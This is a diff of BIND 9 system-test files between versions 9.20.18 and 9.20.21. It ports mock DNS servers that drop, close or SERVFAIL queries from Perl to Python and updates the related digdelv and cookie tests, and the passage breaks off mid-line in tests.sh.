--- bind9-9.20.18/bin/tests/system/cookie/ans10/ans.py 2026-01-09 13:39:28.034970957 +0000 +++ bind9-9.20.21/bin/tests/system/cookie/ans10/ans.py 2026-03-13 22:01:10.563881757 +0000 @@ -9,7 +9,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from cookie_ans import cookie_server +from ..cookie_ans import cookie_server def main() -> None: diff -Nru bind9-9.20.18/bin/tests/system/cookie/ans9/ans.py bind9-9.20.21/bin/tests/system/cookie/ans9/ans.py --- bind9-9.20.18/bin/tests/system/cookie/ans9/ans.py 2026-01-09 13:39:28.034970957 +0000 +++ bind9-9.20.21/bin/tests/system/cookie/ans9/ans.py 2026-03-13 22:01:10.563881757 +0000 @@ -9,7 +9,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from cookie_ans import cookie_server +from ..cookie_ans import cookie_server def main() -> None: diff -Nru bind9-9.20.18/bin/tests/system/cookie/cookie_ans.py bind9-9.20.21/bin/tests/system/cookie/cookie_ans.py --- bind9-9.20.18/bin/tests/system/cookie/cookie_ans.py 2026-01-09 13:39:28.035970984 +0000 +++ bind9-9.20.21/bin/tests/system/cookie/cookie_ans.py 2026-03-13 22:01:10.563881757 +0000 @@ -9,7 +9,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.edns import dns.name @@ -20,12 +20,11 @@ from isctest.asyncserver import ( AsyncDnsServer, - ResponseHandler, - DnsResponseSend, DnsProtocol, + DnsResponseSend, QueryContext, + ResponseHandler, ) - from isctest.name import prepend_label from isctest.vars.algorithms import ALG_VARS @@ -194,13 +193,11 @@ keyring=KEYRING, default_aa=True, default_rcode=dns.rcode.NOERROR ) server.install_response_handlers( - [ - NsHandler(evil), - GlueHandler(evil), - TcpAHandler(), - WithtsigUdpAHandler(), - UdpAHandler(), - FallbackHandler(), - ] + NsHandler(evil), + GlueHandler(evil), + TcpAHandler(), + WithtsigUdpAHandler(), + UdpAHandler(), ) + server.install_response_handler(FallbackHandler()) return server diff -Nru bind9-9.20.18/bin/tests/system/cookie/tests_sh_cookie.py bind9-9.20.21/bin/tests/system/cookie/tests_sh_cookie.py --- bind9-9.20.18/bin/tests/system/cookie/tests_sh_cookie.py 2026-01-09 13:39:28.036971010 +0000 +++ bind9-9.20.21/bin/tests/system/cookie/tests_sh_cookie.py 2026-03-13 22:01:10.565881694 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "dig.out.*", diff -Nru bind9-9.20.18/bin/tests/system/custom-test-driver bind9-9.20.21/bin/tests/system/custom-test-driver --- bind9-9.20.18/bin/tests/system/custom-test-driver 2026-01-09 13:39:28.037971036 +0000 +++ bind9-9.20.21/bin/tests/system/custom-test-driver 2026-03-13 22:01:10.565881694 +0000 @@ -146,7 +146,7 @@ fi # Run junit to trs converter script. -./convert-junit-to-trs.py $junit_file >$trs_file +./convert_junit_to_trs.py $junit_file >$trs_file estatus=$? if test $enable_hard_errors = no && test $estatus -eq 99; then diff -Nru bind9-9.20.18/bin/tests/system/database/tests_database.py bind9-9.20.21/bin/tests/system/database/tests_database.py --- bind9-9.20.18/bin/tests/system/database/tests_database.py 2026-01-09 13:39:28.037971036 +0000 +++ bind9-9.20.21/bin/tests/system/database/tests_database.py 2026-03-13 22:01:10.566881662 +0000 @@ -9,7 +9,8 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import dns + +import dns.rrset import isctest diff -Nru bind9-9.20.18/bin/tests/system/dialup/tests_dialup_zone_transfer.py bind9-9.20.21/bin/tests/system/dialup/tests_dialup_zone_transfer.py --- bind9-9.20.18/bin/tests/system/dialup/tests_dialup_zone_transfer.py 2026-01-09 13:39:28.038971062 +0000 +++ bind9-9.20.21/bin/tests/system/dialup/tests_dialup_zone_transfer.py 2026-03-13 22:01:10.566881662 +0000 @@ -9,7 +9,9 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +import dns.flags import dns.message +import dns.rcode import pytest import isctest diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans4/ans.py bind9-9.20.21/bin/tests/system/digdelv/ans4/ans.py --- bind9-9.20.18/bin/tests/system/digdelv/ans4/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans4/ans.py 2026-03-13 22:01:10.567881630 +0000 @@ -0,0 +1,22 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries + + +def main() -> None: + server = AsyncDnsServer() + server.install_response_handler(IgnoreAllQueries()) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans4/startme bind9-9.20.21/bin/tests/system/digdelv/ans4/startme --- bind9-9.20.18/bin/tests/system/digdelv/ans4/startme 2026-01-09 13:39:28.038971062 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans4/startme 1970-01-01 00:00:00.000000000 +0000 @@ -1 +0,0 @@ - diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans5/ans.pl bind9-9.20.21/bin/tests/system/digdelv/ans5/ans.pl --- bind9-9.20.18/bin/tests/system/digdelv/ans5/ans.pl 2026-01-09 13:39:28.038971062 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans5/ans.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,176 +0,0 @@ -#!/usr/bin/perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -# This is a TCP-only DNS server whose aim is to facilitate testing how dig -# copes with prematurely closed TCP connections. -# -# This server can be configured (through a separate control socket) with a -# series of responses to send for subsequent incoming TCP DNS queries. Only -# one query is handled before closing each connection. In order to keep things -# simple, the server is not equipped with any mechanism for handling malformed -# queries. -# -# Available response types are defined in the %response_types hash in the -# getAnswerSection() function below. Each RR returned is generated dynamically -# based on the QNAME found in the incoming query. - -use IO::File; -use Net::DNS; -use Net::DNS::Packet; - -use strict; - -# Ignore SIGPIPE so we won't fail if peer closes a TCP socket early -local $SIG{PIPE} = 'IGNORE'; - -# Flush logged output after every line -local $| = 1; - -my $server_addr = "10.53.0.5"; -if (@ARGV > 0) { - $server_addr = @ARGV[0]; -} - -my $mainport = int($ENV{'PORT'}); -if (!$mainport) { $mainport = 5300; } -my $ctrlport = int($ENV{'EXTRAPORT1'}); -if (!$ctrlport) { $ctrlport = 5301; } - -my $ctlsock = IO::Socket::INET->new(LocalAddr => "$server_addr", - LocalPort => $ctrlport, Proto => "tcp", Listen => 5, Reuse => 1) or die "$!"; - -my $tcpsock = IO::Socket::INET->new(LocalAddr => "$server_addr", - LocalPort => $mainport, Proto => "tcp", Listen => 5, Reuse => 1) or die "$!"; - -my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!"; -print $pidf "$$\n" or die "cannot write pid file: $!"; -$pidf->close or die "cannot close pid file: $!";; -sub rmpid { unlink "ans.pid"; exit 1; }; - -$SIG{INT} = \&rmpid; -$SIG{TERM} = \&rmpid; - -my @response_sequence = ("complete_axfr"); -my $connection_counter = 0; - -# Return the next answer type to send, incrementing the connection counter and -# making sure the latter does not exceed the size of the array holding the -# configured response sequence. -sub getNextResponseType { - my $response_type = $response_sequence[$connection_counter]; - - $connection_counter++; - $connection_counter %= scalar(@response_sequence); - - return $response_type; -} - -# Return an array of resource records comprising the answer section of a given -# response type. -sub getAnswerSection { - my ($response_type, $qname) = @_; - - my %response_types = ( - no_response => [], - - partial_axfr => [ - Net::DNS::RR->new("$qname 300 IN SOA . . 0 0 0 0 300"), - Net::DNS::RR->new("$qname NS ."), - ], - - complete_axfr => [ - Net::DNS::RR->new("$qname 300 IN SOA . . 0 0 0 0 300"), - Net::DNS::RR->new("$qname NS ."), - Net::DNS::RR->new("$qname 300 IN SOA . . 0 0 0 0 300"), - ], - ); - - return $response_types{$response_type}; -} - - -# Generate a Net::DNS::Packet containing the response to send on the current -# TCP connection. If the answer section of the response is determined to be -# empty, no data will be sent on the connection at all (immediate EOF). -sub generateResponse { - my ($buf) = @_; - my $request; - - if ($Net::DNS::VERSION > 0.68) { - $request = new Net::DNS::Packet(\$buf, 0); - $@ and die $@; - } else { - my $err; - ($request, $err) = new Net::DNS::Packet(\$buf, 0); - $err and die $err; - } - - my @questions = $request->question; - my $qname = $questions[0]->qname; - my $qtype = $questions[0]->qtype; - my $qclass = $questions[0]->qclass; - my $id = $request->header->id; - - my $packet = new Net::DNS::Packet($qname, $qtype, $qclass); - $packet->header->qr(1); - $packet->header->aa(1); - $packet->header->id($id); - - my $response_type = getNextResponseType(); - my $answers = getAnswerSection($response_type, $qname); - for my $rr (@$answers) { - $packet->push("answer", $rr); - } - - print " Sending \"$response_type\" response\n"; - - return $packet->data if @$answers; -} - -my $rin; -my $rout; -for (;;) { - $rin = ''; - vec($rin, fileno($ctlsock), 1) = 1; - vec($rin, fileno($tcpsock), 1) = 1; - - select($rout = $rin, undef, undef, undef); - - if (vec($rout, fileno($ctlsock), 1)) { - my $conn = $ctlsock->accept; - @response_sequence = split(' ', $conn->getline); - $connection_counter = 0; - print "Response sequence set to: @response_sequence\n"; - $conn->close; - } elsif (vec($rout, fileno($tcpsock), 1)) { - my $buf; - my $lenbuf; - my $conn = $tcpsock->accept; - my $n = $conn->sysread($lenbuf, 2); - die unless $n == 2; - my $len = unpack("n", $lenbuf); - $n = $conn->sysread($buf, $len); - die unless $n == $len; - print "TCP request\n"; - my $response = generateResponse($buf); - if ($response) { - $len = length($response); - $n = $conn->syswrite(pack("n", $len), 2); - $n = $conn->syswrite($response, $len); - print " Sent: $n chars via TCP\n"; - } else { - print " No response sent\n"; - } - $conn->close; - } -} diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans5/ans.py bind9-9.20.21/bin/tests/system/digdelv/ans5/ans.py --- bind9-9.20.18/bin/tests/system/digdelv/ans5/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans5/ans.py 2026-03-13 22:01:10.567881630 +0000 @@ -0,0 +1,105 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import AsyncGenerator + +import logging + +import dns.rcode +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import ( + CloseConnection, + ControlCommand, + ControllableAsyncDnsServer, + DnsResponseSend, + QueryContext, + ResponseAction, + ResponseHandler, +) + + +class ErraticAxfrHandler(ResponseHandler): + allowed_actions = ["no-response", "partial-axfr", "complete-axfr"] + + def __init__(self, actions: list[str]) -> None: + self.actions = actions + self.counter = 0 + for action in actions: + assert action in self.allowed_actions + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[ResponseAction, None]: + action = self.actions[self.counter % len(self.actions)] + self.counter += 1 + + logging.info("current response action: %s", action) + + if action == "no-response": + yield CloseConnection() + return + + soa_rr = dns.rrset.from_text( + qctx.qname, 300, qctx.qclass, dns.rdatatype.SOA, ". . 0 0 0 0 300" + ) + ns_rr = dns.rrset.from_text(qctx.qname, 300, qctx.qclass, dns.rdatatype.NS, ".") + + qctx.response.answer.append(soa_rr) + qctx.response.answer.append(ns_rr) + + if action == "partial-axfr": + yield DnsResponseSend(qctx.response) + elif action == "complete-axfr": + qctx.response.answer.append(soa_rr) + yield DnsResponseSend(qctx.response) + yield CloseConnection() + + +class ResponseSequenceCommand(ControlCommand): + control_subdomain = "response-sequence" + + def __init__(self) -> None: + self._current_handler: ResponseHandler | None = None + + def handle( + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str: + for action in args: + if action not in ErraticAxfrHandler.allowed_actions: + logging.error("invalid %s action '%s'", self, action) + qctx.response.set_rcode(dns.rcode.SERVFAIL) + return f"invalid action '{action}'; must be one of {ErraticAxfrHandler.allowed_actions}" + + actions = args + + if self._current_handler is not None: + server.uninstall_response_handler(self._current_handler) + + self._current_handler = ErraticAxfrHandler(actions) + server.install_response_handler(self._current_handler) + + msg = f"reponse sequence set to {actions}" + logging.info(msg) + return msg + + +def main() -> None: + server = ControllableAsyncDnsServer( + default_aa=True, default_rcode=dns.rcode.NOERROR + ) + server.install_control_command(ResponseSequenceCommand()) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans6/ans.pl bind9-9.20.21/bin/tests/system/digdelv/ans6/ans.pl --- bind9-9.20.18/bin/tests/system/digdelv/ans6/ans.pl 2026-01-09 13:39:28.038971062 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans6/ans.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,84 +0,0 @@ -#!/usr/bin/perl -w - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -use IO::File; -use IO::Socket; -use Net::DNS; -use Net::DNS::Packet; - -my $localport = int($ENV{'PORT'}); -if (!$localport) { $localport = 5300; } - -my $sock = IO::Socket::INET->new(LocalAddr => "10.53.0.6", - LocalPort => $localport, Proto => "udp") or die "$!"; - -my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!"; -print $pidf "$$\n" or die "cannot write pid file: $!"; -$pidf->close or die "cannot close pid file: $!"; -sub rmpid { unlink "ans.pid"; exit 1; }; - -$SIG{INT} = \&rmpid; -$SIG{TERM} = \&rmpid; - -for (;;) { - $sock->recv($buf, 512); - - print "**** request from " , $sock->peerhost, " port ", $sock->peerport, "\n"; - - my $packet; - - if ($Net::DNS::VERSION > 0.68) { - $packet = new Net::DNS::Packet(\$buf, 0); - $@ and die $@; - } else { - my $err; - ($packet, $err) = new Net::DNS::Packet(\$buf, 0); - $err and die $err; - } - - print "REQUEST:\n"; - $packet->print; - - $packet->header->qr(1); - - my @questions = $packet->question; - my $qname = $questions[0]->qname; - my $qtype = $questions[0]->qtype; - - my $donotrespond = 0; - - $packet->header->aa(1); - if ($qtype eq "A") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 A 10.53.0.5")); - } else { - $donotrespond = 1; - } - - if ($donotrespond == 0) { - my $sendsock = - IO::Socket::INET->new(LocalAddr => "10.53.1.2", - PeerAddr => $sock->peerhost, - PeerPort => $sock->peerport, - Proto => "udp") or die "$!"; - print "**** response from ", $sendsock->sockhost, " to " , - $sendsock->peerhost, " port ", $sendsock->peerport, "\n"; - $sendsock->send($packet->data); - $sendsock->close; - print "RESPONSE:\n"; - $packet->print; - print "\n"; - } else { - print "DROP:\n"; - } -} diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans6/ans.py bind9-9.20.21/bin/tests/system/digdelv/ans6/ans.py --- bind9-9.20.18/bin/tests/system/digdelv/ans6/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans6/ans.py 2026-03-13 22:01:10.567881630 +0000 @@ -0,0 +1,40 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import AsyncGenerator + +import dns.opcode +import dns.rcode + +from isctest.asyncserver import ( + AsyncDnsServer, + DnsResponseSend, + QueryContext, + ResponseHandler, +) + + +class ReplyUpdateHandler(ResponseHandler): + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.set_opcode(dns.opcode.UPDATE) + yield DnsResponseSend(qctx.response) + + +def main() -> None: + server = AsyncDnsServer(default_aa=True, default_rcode=dns.rcode.NOERROR) + server.install_response_handler(ReplyUpdateHandler()) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans7/ans.pl bind9-9.20.21/bin/tests/system/digdelv/ans7/ans.pl --- bind9-9.20.18/bin/tests/system/digdelv/ans7/ans.pl 2026-01-09 13:39:28.038971062 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans7/ans.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,68 +0,0 @@ -#!/usr/bin/perl -w - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -use IO::File; -use IO::Socket; -use Net::DNS; -use Net::DNS::Packet; - -my $localport = int($ENV{'PORT'}); -if (!$localport) { $localport = 5300; } - -my $sock = IO::Socket::INET->new(LocalAddr => "10.53.0.7", - LocalPort => $localport, Proto => "udp") or die "$!"; - -my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!"; -print $pidf "$$\n" or die "cannot write pid file: $!"; -$pidf->close or die "cannot close pid file: $!"; -sub rmpid { unlink "ans.pid"; exit 1; }; - -$SIG{INT} = \&rmpid; -$SIG{TERM} = \&rmpid; - -STDOUT->autoflush(1); - -print "Net::DNS::VERSION => $Net::DNS::VERSION\n"; - -for (;;) { - $sock->recv($buf, 512); - - print "**** request from " , $sock->peerhost, " port ", $sock->peerport, "\n"; - - my $packet; - - if ($Net::DNS::VERSION > 0.68) { - $packet = new Net::DNS::Packet(\$buf, 0); - $@ and die $@; - } else { - my $err; - ($packet, $err) = new Net::DNS::Packet(\$buf, 0); - $err and die $err; - } - - print "REQUEST:\n"; - $packet->print; - - $packet->header->qr(1); - $packet->header->opcode(5); - - my @questions = $packet->question; - my $qname = $questions[0]->qname; - my $qtype = $questions[0]->qtype; - $packet->push("update", rr_del("$qname SOA")); - - print "RESPONSE:\n"; - $packet->print; - - $sock->send($packet->data); -} diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans7/ans.py bind9-9.20.21/bin/tests/system/digdelv/ans7/ans.py --- bind9-9.20.18/bin/tests/system/digdelv/ans7/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans7/ans.py 2026-03-13 22:01:10.567881630 +0000 @@ -0,0 +1,73 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import AsyncGenerator + +import dns.rcode + +from isctest.asyncserver import ( + AsyncDnsServer, + CloseConnection, + DnsResponseSend, + DomainHandler, + IgnoreAllQueries, + QueryContext, + ResponseAction, + ResponseDrop, +) + + +class SilentHandler(DomainHandler, IgnoreAllQueries): + """Handler that doesn't respond.""" + + domains = ["silent.example"] + + +class CloseHandler(DomainHandler): + """Handler that doesn't respond and closes TCP connection.""" + + domains = ["close.example"] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[ResponseAction, None]: + yield CloseConnection() + + +class SilentThenServfailHandler(DomainHandler): + """Handler that drops one query and response to the next one with SERVFAIL.""" + + domains = ["silent-then-servfail.example"] + counter = 0 + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[ResponseAction, None]: + if self.counter % 2 == 0: + yield ResponseDrop() + else: + qctx.response.set_rcode(dns.rcode.SERVFAIL) + yield DnsResponseSend(qctx.response, authoritative=False) + self.counter += 1 + + +def main() -> None: + server = AsyncDnsServer() + server.install_response_handlers( + CloseHandler(), + SilentHandler(), + SilentThenServfailHandler(), + ) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ans8/ans.py bind9-9.20.21/bin/tests/system/digdelv/ans8/ans.py --- bind9-9.20.18/bin/tests/system/digdelv/ans8/ans.py 2026-01-09 13:39:28.039971089 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ans8/ans.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,202 +0,0 @@ -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -from __future__ import print_function -import os -import sys -import signal -import socket -import select -import struct - -import dns, dns.message -from dns.rcode import * - -modes = [ - b"silent", # Do not respond - b"close", # UDP: same as silent; TCP: also close the connection - b"servfail", # Always respond with SERVFAIL - b"unstable", # Constantly switch between "silent" and "servfail" -] -mode = modes[0] -n = 0 - - -def ctrl_channel(msg): - global modes, mode, n - - msg = msg.splitlines().pop(0) - print("Received control message: %s" % msg) - - if msg in modes: - mode = msg - n = 0 - print("New mode: %s" % str(mode)) - - -def create_servfail(msg): - m = dns.message.from_wire(msg) - qname = m.question[0].name.to_text() - rrtype = m.question[0].rdtype - typename = dns.rdatatype.to_text(rrtype) - - with open("query.log", "a") as f: - f.write("%s %s\n" % (typename, qname)) - print("%s %s" % (typename, qname), end=" ") - - r = dns.message.make_response(m) - r.set_rcode(SERVFAIL) - return r - - -def sigterm(signum, frame): - print("Shutting down now...") - os.remove("ans.pid") - running = False - sys.exit(0) - - -ip4 = "10.53.0.8" - -try: - port = int(os.environ["PORT"]) -except: - port = 5300 - -try: - ctrlport = int(os.environ["EXTRAPORT1"]) -except: - ctrlport = 5300 - -query4_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) -query4_udp.bind((ip4, port)) - -query4_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -query4_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) -query4_tcp.bind((ip4, port)) -query4_tcp.listen(100) - -ctrl4_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ctrl4_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) -ctrl4_tcp.bind((ip4, ctrlport)) -ctrl4_tcp.listen(100) - -signal.signal(signal.SIGTERM, sigterm) - -f = open("ans.pid", "w") -pid = os.getpid() -print(pid, file=f) -f.close() - -running = True - -print("Listening on %s port %d" % (ip4, port)) -print("Listening on %s port %d" % (ip4, ctrlport)) -print("Ctrl-c to quit") - -input = [query4_udp, query4_tcp, ctrl4_tcp] - -hung_conns = [] - -while running: - try: - inputready, outputready, exceptready = select.select(input, [], []) - except select.error as e: - break - except socket.error as e: - break - except KeyboardInterrupt: - break - - for s in inputready: - if s == query4_udp: - n = n + 1 - print("UDP query received on %s" % ip4, end=" ") - msg = s.recvfrom(65535) - if ( - mode == b"silent" - or mode == b"close" - or (mode == b"unstable" and n % 2 == 1) - ): - # Do not respond. - print("NO RESPONSE (%s)" % str(mode)) - continue - elif mode == b"servfail" or (mode == b"unstable" and n % 2 == 0): - rsp = create_servfail(msg[0]) - if rsp: - print(dns.rcode.to_text(rsp.rcode())) - s.sendto(rsp.to_wire(), msg[1]) - else: - print("NO RESPONSE (can not create a response)") - else: - raise (Exception("unsupported mode: %s" % mode)) - elif s == query4_tcp: - n = n + 1 - print("TCP query received on %s" % ip4, end=" ") - conn = None - try: - if mode == b"silent" or (mode == b"unstable" and n % 2 == 1): - conn, addr = s.accept() - # Do not respond and hang the connection. - print("NO RESPONSE (%s)" % str(mode)) - hung_conns.append(conn) - continue - elif mode == b"close": - conn, addr = s.accept() - # Do not respond and close the connection. - print("NO RESPONSE (%s)" % str(mode)) - conn.close() - continue - elif mode == b"servfail" or (mode == b"unstable" and n % 2 == 0): - conn, addr = s.accept() - # get TCP message length - msg = conn.recv(2) - if len(msg) != 2: - print("NO RESPONSE (can not read the message length)") - conn.close() - continue - length = struct.unpack(">H", msg[:2])[0] - msg = conn.recv(length) - if len(msg) != length: - print("NO RESPONSE (can not read the message)") - conn.close() - continue - rsp = create_servfail(msg) - if rsp: - print(dns.rcode.to_text(rsp.rcode())) - wire = rsp.to_wire() - conn.send(struct.pack(">H", len(wire))) - conn.send(wire) - else: - print("NO RESPONSE (can not create a response)") - else: - raise (Exception("unsupported mode: %s" % mode)) - except socket.error as e: - print("NO RESPONSE (error: %s)" % str(e)) - if conn: - conn.close() - elif s == ctrl4_tcp: - print("Control channel connected") - conn = None - try: - # Handle control channel input - conn, addr = s.accept() - msg = conn.recv(1024) - if msg: - ctrl_channel(msg) - conn.close() - except s.timeout: - pass - if conn: - conn.close() - - if not running: - break diff -Nru bind9-9.20.18/bin/tests/system/digdelv/ns2/example.db.in bind9-9.20.21/bin/tests/system/digdelv/ns2/example.db.in --- bind9-9.20.18/bin/tests/system/digdelv/ns2/example.db.in 2026-01-09 13:39:28.039971089 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/ns2/example.db.in 2026-03-13 22:01:10.567881630 +0000 @@ -33,6 +33,9 @@ d A 10.0.0.0 d AAAA fd92:7065:b8e:ffff:: +silent A 10.0.0.1 +close A 10.0.0.1 + xn--caf-dma A 10.1.2.3 foo TXT "testing" diff -Nru bind9-9.20.18/bin/tests/system/digdelv/tests.sh bind9-9.20.21/bin/tests/system/digdelv/tests.sh --- bind9-9.20.18/bin/tests/system/digdelv/tests.sh 2026-01-09 13:39:28.040971115 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/tests.sh 2026-03-13 22:01:10.568881598 +0000 @@ -19,10 +19,6 @@ status=0 n=0 -sendcmd() { - send "${1}" "$EXTRAPORT1" -} - dig_with_opts() { "$DIG" -p "$PORT" "$@" } @@ -31,6 +27,12 @@ "$MDIG" -p "$PORT" "$@" } +set_response_sequence() { + SEQUENCE="${1}" + LOGID="${2}" + dig_with_opts @10.53.0.5 "${SEQUENCE}.response-sequence._control" TXT >dig.out.control${LOGID} 2>&1 || ret=1 +} + # Check if response in file $1 has the correct TTL range. # The response record must have RRtype $2 and class IN (CLASS1). # Maximum TTL is given by $3. This works in most cases where TTL is @@ -71,72 +73,44 @@ HAS_PYYAML=0 $PYTHON -c "import yaml" 2>/dev/null && HAS_PYYAML=1 -# -# test whether ans7/ans.pl will be able to send a UPDATE response. -# if it can't, we will log that below. -# -if "$PERL" -e 'use Net::DNS; use Net::DNS::Packet; my $p = new Net::DNS::Packet; $p->header->opcode(5);' >/dev/null 2>&1; then - checkupdate=1 -else - checkupdate=0 -fi - -if [ -x "$NSLOOKUP" -a $checkupdate -eq 1 ]; then - - n=$((n + 1)) - echo_i "check nslookup handles UPDATE response ($n)" - ret=0 - "$NSLOOKUP" -q=CNAME -timeout=1 "-port=$PORT" foo.bar 10.53.0.7 >nslookup.out.test$n 2>&1 && ret=1 - grep "Opcode mismatch" nslookup.out.test$n >/dev/null || ret=1 - if [ $ret -ne 0 ]; then echo_i "failed"; fi - status=$((status + ret)) - -fi - -if [ -x "$HOST" -a $checkupdate -eq 1 ]; then - - n=$((n + 1)) - echo_i "check host handles UPDATE response ($n)" - ret=0 - "$HOST" -W 1 -t CNAME -p $PORT foo.bar 10.53.0.7 >host.out.test$n 2>&1 && ret=1 - grep "Opcode mismatch" host.out.test$n >/dev/null || ret=1 - if [ $ret -ne 0 ]; then echo_i "failed"; fi - status=$((status + ret)) - -fi - -if [ -x "$NSUPDATE" -a $checkupdate -eq 1 ]; then - - n=$((n + 1)) - echo_i "check nsupdate handles UPDATE response to QUERY ($n)" - ret=0 - res=0 - $NSUPDATE <nsupdate.out.test$n 2>&1 || res=$? -server 10.53.0.7 ${PORT} +n=$((n + 1)) +echo_i "check nslookup handles UPDATE response ($n)" +ret=0 +"$NSLOOKUP" -q=CNAME -timeout=1 "-port=$PORT" foo.bar 10.53.0.6 >nslookup.out.test$n 2>&1 && ret=1 +grep "Opcode mismatch" nslookup.out.test$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "check host handles UPDATE response ($n)" +ret=0 +"$HOST" -W 1 -t CNAME -p $PORT foo.bar 10.53.0.6 >host.out.test$n 2>&1 && ret=1 +grep "Opcode mismatch" host.out.test$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "check nsupdate handles UPDATE response to QUERY ($n)" +ret=0 +res=0 +$NSUPDATE <nsupdate.out.test$n 2>&1 || 